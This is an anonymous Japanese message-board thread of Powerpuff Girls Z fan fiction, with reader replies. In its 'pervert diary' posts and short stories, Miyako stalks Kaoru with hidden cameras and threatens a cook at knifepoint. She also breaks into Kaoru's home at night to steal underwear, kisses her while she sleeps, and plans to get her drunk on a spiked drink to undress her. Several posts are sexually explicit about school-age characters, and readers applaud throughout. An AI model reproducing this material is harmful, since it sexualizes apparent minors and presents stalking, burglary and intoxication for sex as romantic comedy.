あ、そうそう。潤いマスクはわたくしのありとあらゆる体液を煮詰めて、
無臭化処理した、かおるさん専用のもの。含有メインは…かおるさんを
思って分泌したものですわ♪
それがかおるさんの可愛らしい口元に当てられると思うだけで……
旅行行程中はフルで濡れていたかも知れませんわ……それでまた
新しい潤いマスクを……理想的なサイクルとはこのことですね
宿屋でのエピソードは明日書きますわ〜

58 :
無臭化処理前のが欲しいです…

59 :
×月△日
…修学旅行と言えば、合法的にひとつ屋根の下で就寝できる上、
あわよくば一緒に入浴出来る素敵イベントですわ……ハァハァハァ…
デスノートのLよろしく、夜神 月の部屋に仕掛けた隠しカメラを
軽くぶっちぎる勢いで、宿泊施設に3万箇所設置しておきましたわ。
抽出すれば24時間フル、360度でかおるさんを捕捉可能!
編集作業だけで何度抜けるか想像するだけでオカシクなりそうですわ〜

大広間で夕御飯の時間、お膳に並べられた豪華な食事の中に
うな玉があることに涙を流して喜んでたかおるさん……頬を紅潮
させて喜ぶ様を録画するためだけに、料理長の喉元に包丁を
突きつけて脅した成果ですわねv 人生賭けてますわ!
かおるさんの笑顔を引き出すためなら、犯罪者になっても厭わない…

消灯時間が過ぎて、昼間の疲れからかすぐ寝入ってしまったかおるさん。
わたくしの夢の時間の開幕ですわ…
起こさないように、鼻呼吸で寝ているのを確認して、ゆっくりとかおるさんに
口づけました。柔らかくて、甘くって、それだけで軽くイってしまったのは
此処だけの秘密ですわ☆
ノンレム睡眠の時間帯を狙い定めて、思いのままにちゅっちゅ出来て
最高に幸せでしたわ……もちろん、唇を重ねてる瞬間も全部録画済み。
のちのちの披露宴で公開するビデオにも盛り込ませていただきます。
あぁ、かおるさん…わたしの心を奪った罪な貴女…一生添い遂げますわ

60 :
みやこある意味すごいw

61 :
□月○日
修学旅行も終わって、萌えイベントは夏休み中のプールと海水浴まで
お預けになってしまいましたので、今日はちょっと冒険してかおるさん宅へ
侵入ミッションですわ!
屈強なむくつけき男たちが常駐してるかおるさん宅……
見つからないように忍び込んで、かおるさんの使用済み靴下と下着、
それと生活ゴミを入手するハードなミッションですわ……
決行は明日…!それまで綿密に計画を立てて遂行してみせますわ!
(明日へ続きますわ)

62 :
続きまだー?

63 :
□月△日
草木も眠る丑三つ時、かおるさん宅の扉をバブル・ピッキングで
華麗に開け放ち、いよいよ夜這…ではなく、寝顔を見つめるミッションを
決行しましたわ!
各部屋から大きないびきが聞こえるので、ご家族(将来的にはわたくしの
家族にもなるんですけど)も熟睡されてるようで比較的安心してかおるさんの
部屋へと……
ふすまをそーっと開けると、お布団をはねのけて眠るかおるさんの
姿を視認。逸る気持ちを抑え、ゆっくりと枕元へ忍び寄ると、
かおるさんが「……ぅん………」と寝返りの声を。
その天然の誘いっぷりに鼻血を噴くかと思いましたがそこは我慢し、
気の済むまで寝顔をガン見させていただきました〜
タンスや収納も漁って、パンツや靴下をいくつか失敬させていただいて、
去り際に、可愛い唇へ触れるだけのキスを落としました。
い つ か 、 口 の 中 全 部 舐 め 回 す キ ス を 
し ま す わ !
あと、洗濯物置き場からかおるさん使用済みの靴下もゲット完了。
持ち帰って存分にむしゃぶりつく予定ですわ♪
かおるさんコレクションコンプリートまでの道は険しいけど負けませんわ☆

64 :
トイレの三角コーナーから
使用済み生理用品は失敬しなかったのかな?

65 :
エロパロスレの変態日記よりも激しいなw
まああっちは落ちてしまったが。

66 :
変態みやこさん日記を最後まで書いてたが、流石にネタがないw
3ヶ月も空いてしまった…
ぷにケでパワパフZ分を補給せねばなるまいか。

67 :
両方のスレで日記書いてたのかw

68 :
いや、みやこさん日記はこっちだけでやってた。
そろそろ総受かおるさんをイジってみたくなってきたなー

69 :
>>68
変態みやこさん日記、いつも楽しませてもらってます!
ぷにケでパワパフZ本出しますので〜
久々のオフセです

70 :
復活の変態みやこさん日記
☆月●日
季節はもう秋ですね…。我が校は春先に体育祭を終えてしまったので
秋は大きなイベントがないと凹んでおりましたけれど、来週はお誂え向きの
絶好イベントの情報を無理矢理ねじ込んでみましたわv
10月3日、中秋の名月!
この日、かおるさんを誘って我が家でお月見を計画してみましたの。
夕暮れ〜夜にかけて行えるイベントなのでそれはもう、合 法 的 に 、
堂々と誘えますわ♪
涼しげな風を受けて、美しい月を眺めるかおるさんの横顔を視姦して、
お茶を勧める体で湯呑みには強めの緑茶ハイ。
それで酔わせて酩酊状態になったらIt's show timeですわv ハァハァ…
『なんだか身体が熱いよ、みやこぉ〜』
と言い出すかおるさんのお洋服をてきぱきと脱がせ、月見団子を
ここぞとばかりにかおるさんの……
これ以上はトップシークレットですわー。
10月3日以降の日記で結果をお伝えしたいと思いますわv
VIVA、お月見v ウフフ、アハハ♪

71 :
連投になっちゃったけど…
>>69
こっそり買いに伺うやも知れませぬ

72 :
かおる総受age

73 :
か「あのさぁ…」
み「はい?」
か「あの、俺らその、たまに……キス、するよな?」
み「は、はい」
か「その時なンだけどさァ……その、ちょッとお願いッていうか、気になる事があるンだけど」
み「は、はいっ! 何でも言ってください! もっと深くですか? もっと激しくですか!?」
か「あ、いやいや、そういう事じゃなくッて。あのー、みやこッてさ、キスする時…
  俺の事、押さえつけたりするじゃん? アレ、できたらやめて欲しいンだけど…」
み「……え? えええッ? そ、そうですか〜!?」
か「そうだよー、俺の手首両方とも掴んで体重かけてきたりさ。この前なんか、
  部屋の隅ッこに俺の事追い詰めてさァ。何かもう、絶対逃がさないぞッて感じで」
み「あ…あの、その〜……」
か「いやいや、別に嫌だッてわけじゃないんだ。けどまあ、そのー……ちょっと怖い…ッていうか」
み「ご、ごめんなさい……」
か「あー、まあ、できればでいいンだけどさ…」
み「…………」
か「…………」
み「…………」
か「……ひょッとしてさァ、みやこ……動けない相手を無理やり、とか……好き?」
み「えええっ!? あ、あの、そんな、かおるさんを動けなくしてとか、そんな事毎晩考えたりは……」
か「……好きなんだ?」
み「ですからその〜………はい、大好きです」
か「やっぱり……うわ、みやこ顔真ッ赤!」
み「ご、ごめんなさぁい……」
か「でもまあ……そういう事なら、少しくらいは別に構わないけどさ」
み「えっ?」
か「構わないよ、みやこがそういうの好きならさ」
み「い、いいんですか…?」
か「だッて俺、みやこの彼女なわけだし……やっぱり、みやこに色々合わせなきゃッて思うしさ」
み「……!」
か「あー、でも、あンまり本格的なのは――ッておい! 今どこから出したソレ!?」
み「はい? このロープですか? ええ、隠し持つにはちょっとコツが要るんです。他にもほら、手錠とか〜」
か「ちょ、ちょッと待て、何でそンなの持ち歩いてンだよッ!?」
み「だって、無いといざという時に困るじゃないですか〜」
か「いざという時ッて何――」
み「えいっ!」
か「わァッ!?」

74 :
みやこさん相変わらず最強の変態っぷり。すばらしい。www

75 :
み「ももこさん! お菓子食べてばっかりじゃなくて、ちゃんと聞いてください〜!」
も「んー? なんだっけ?」
み「ですから、最近かおるさんの様子がおかしいんです」
も「そお?」
み「かおるさん、前は足をガバッと開いて座ってましたのに、最近はピッタリ閉じてしまいますし〜」
も「あんたが毎回正面に回りこんでジッと見るからでしょ。それも一部分ばっかり」
み「それに、ここのモニターでよく一緒にスポーツ観戦してましたのに、近頃はそれもやめてしまって」
も「そりゃ画面みないでとなりでずーっと横顔みつめられちゃ恥ずかしいわよ」
み「それに、何か食べた後の食器とかもわたしに洗わせてくれなくなってしまいましたわ〜」
も「そういえば“俺が使ったハシとかしゃぶってるみたいなんだけど”とかいってたわね、かおる」
み「ティッシュでお鼻かんだりするのも、どうも隠れて済ましているみたいですし〜」
も「そのティッシュをいつもあんたが回収してるの、バレてるよ?」
み「どうしてそんな意地悪ばっかり言うんですか〜!? それじゃまるでわたしが悪いみたいですわ〜!」
も「ぜんぶホントの事でしょっ!?」

76 :
みやこさん、相変わらずパねぇっすね!
惚れられたかおるさんも表面上では迷惑そうにしてるけど、
本心はそんなことされてドキドキしっぱなしで濡れちゃうんですよねーw

77 :
保守ですわ〜

78 :
み「あの、もしもし? すみません、こんな時間にお電話してしまって…」
も「ん……ふわぁ〜…どうしたの…?」
み「はい……何だか眠れなくなってしまって」
も「なやみごと?」
み「いえ、悩み事ではないんですけど…。ももこさんは、こんな時どうしてます?」
も「眠れるように、ってこと? えーと、ホットミルクのんだりすると眠れるかなぁ。
  あとは……あ、ヒツジ数えるとかけっこう効くって話だよ? あたしやったことないけど」
み「数える、ですか…。はい、試してみますわ。ごめんなさい、起こしてしまって」
も「いいわよべつに。じゃ、おやすみー」
み「はい、おやすみなさい〜」
み「も、もしもし、ももこさん?」
も「もぉ、なによ? ねかせてよぉ!」
み「す、すみません〜! でも、数えてみたら余計に眠れなくなってしまったんです〜!」
も「数えたらって…ヒツジ?」
み「いえ、羊じゃなくてかおるさんを数えてみたんですが、数えれば数えるほど
  興奮してしまってどうしても眠れません〜!」
も「…………」
み「かおるさんが百人越えた辺りからパラダイス過ぎて眠れません〜!」
も「しらないわよ! 大体なんでそこでかおるなのよ!? 数えるならヒツジでしょ?」
み「それはそんなんですけど、でも、夜にベッドの中で考える事といったら
  普通かおるさんの事じゃないですか〜!」
も「……あの、あのねぇ、そんなんだったらかおるに電話してみたら?」
み「え……いえ、それはちょっと。こんな時間にお電話してしまったら変に思われますわ」
も「じゃああたしはいいワケ!?」
み「ももこさんはもう充分に変ですから」
も「ちょっとちょっとちょっと!」

79 :
みやかおはやっぱりいいな。うん。

80 :
やっぱエロパロスレが潰えたのが痛いな。

81 :
保守ですわ〜。

82 :
「かおるさん、今日は何の日かご存じですよね?」
放課後、呼び出されるがままに体育館裏へやってきた松原かおる。
彼女を待ち受けていたのは、照らされた夕陽以上に頬を赤らめた、みやこ。
「…え…っとぉ。あー、何だっけかな? あはは……」
その表情に本能的危機を感じたかおるは、敢えて目線を合わせないように
キョロキョロと心此処に非ず。といった風体ではぐらかしの言葉を紡ぐ。
「……ふふ、わかってるくせに」
音もなくにじり寄っていたみやこの黄金色の髪が軽く揺れた。
「な…っ! し、知らないモンは、し、知らねー…って」
蒼い瞳に自らの焦った顔が写り込む位置に、かおるの強がりも限界点に
達しかける。わずかな心の機微を捉えたみやこの目が、にぃーっと悦的な
光をにじませた。
「去年と同じ反応ですねー。かおるさんったら、学習しないといけませんわ」
う…っ と身じろいだかおるの背が、冷たい石壁で遮られた。
逃げ道なし。声高らかに告げられたようなものだ。
「それでは、去年より身近に感じられる渡し方にして差し上げますわ」
視線を外さぬまま、後ろ手に隠し持っていたチョコレートの包装をゆっくりと
剥がし始め、中から一粒のチョコを互いの目の高さに掲げる。
ぱく。
「…え?」
口に押し込まれるばかりと想像していた。しかしそれを裏切るかのように、
白い指で摘まれていた立方体が、その指の持ち主の口へ消えていった。

83 :
わずかにあっけにとられた隙を巧みに突いて、いとも簡単に唇を重ねられた。
「……………!」
柔らかな唇の熱を感じたと理解する頃、さらに柔らかな舌で唇をこじ開けられる。
ほろ苦くも甘い、蕩ろける味がじんわりと、かおるの口腔内を侵し出す。
執拗なまでの舌の抜き差しに甘さ以外の熱を移され、完全に頭の中まで
融けてしまう。既にチョコの味など飲み下してしまったが、かおるは唇を離す
ことなく、自分から舌で応えていた。
「……ふぅ。 あら? 物足りない、そんなお顔ですわ」
名残惜しそうに唇を離したみやこの目に映るもの。それは先ほど
シラを切っていた人間と同じ人物とは考えられない雌の貌だった。
「…まだまだチョコはありますわ。続きは、わたくしの家で構いませんね♪」
こくり 
半開きの瞳はもう抗う色など微塵もなく、引かれるがままに連れて行かれる
従順な子犬のそれだった。
帰路につくみやこの脳内は、これからどう性的にイジメるかのプランの構築で
一杯になっている。
かおるの運命を顕示するかのように、西の空から最後の残光が消えていった。

おしまい。

切断されてID変わってしまった; HENTAIみやこさん以外は久々だなぁ。

84 :
いい! いいね! YESだね!

85 :


86 :


87 :


88 :
あぁ、このスレ残ってたんだー
HENTAIみやこさん日記シリーズと、バレンタイン書いた奴っす
みやかお熱再燃させたいなー
他の人のパワパフZ話も読んでみたい

89 :
また何か書いて
前のも楽しみに読んでたよー

90 :
まだこんなスレがあったのか。
みやこさん変態日記は2つのスレでそれぞれ別の人が投下してたらしいのには驚いた覚えが。

91 :
age

92 :
-

93 :
-

94 :
-

95 :
-

96 :
-

97 :
-

98 :
-

99 :
-

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